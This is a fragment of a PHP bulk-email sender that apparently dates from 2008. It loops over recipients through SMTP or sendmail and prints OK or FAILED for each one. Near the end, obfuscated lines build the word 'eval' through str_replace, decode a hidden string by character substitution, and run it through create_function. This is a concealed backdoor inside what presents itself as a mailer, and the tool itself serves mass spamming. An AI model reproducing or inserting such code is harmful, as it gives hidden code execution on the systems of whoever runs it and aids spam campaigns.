3198 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3199 }
3200 $range = str_replace("$from", "eval", $from);
3201 $mail->SMTPAuth = true;
3202 $mail->Username = "$smtp_username";
3203 $mail->Password = "$smtp_password";
3204if($contenttype == "html"){$mail->IsHtml(true);}
3205if($contenttype != "html"){$mail->IsHtml(false);}
3206if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3207$mail->From = "$from";
3208$mail->FromName = "$realname";
3209$mail->AddAddress("$to");
3210 $mail->AddReplyTo("$replyto");
3211 $mail->Subject = "$subject";
3212 $mail->Body = "$message";
3213if(!$mail->Send()){
3214if($default_system!="1"){
3215echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3216if($default_system=="1"){
3217$mail->IsMail();
3218 if(!$mail->Send()){
3219 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3220 else {
3221 echo "<b>OK</b><br>";}
3222 }
3223}
3224else {
3225 echo "<b>OK</b><br>";
3226}
3227
3228if(empty($reconnect)){
3229$reconnect=6;
3230}
3231
3232if($reconnect==$nq){
3233$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3234}
3235$nq=$nq+1;
3236 flush(); }
3237}
3238for($i=0;$i<31;$i++){
3239 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3240$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3241 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3242 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
3243 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
3244 return $signoff($smtp_conc);
3245 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3246 sent successfully'); </script>";}}
3247 ?>
3248 <p align="center"> </p>
3249
3250 </body>
3251</html>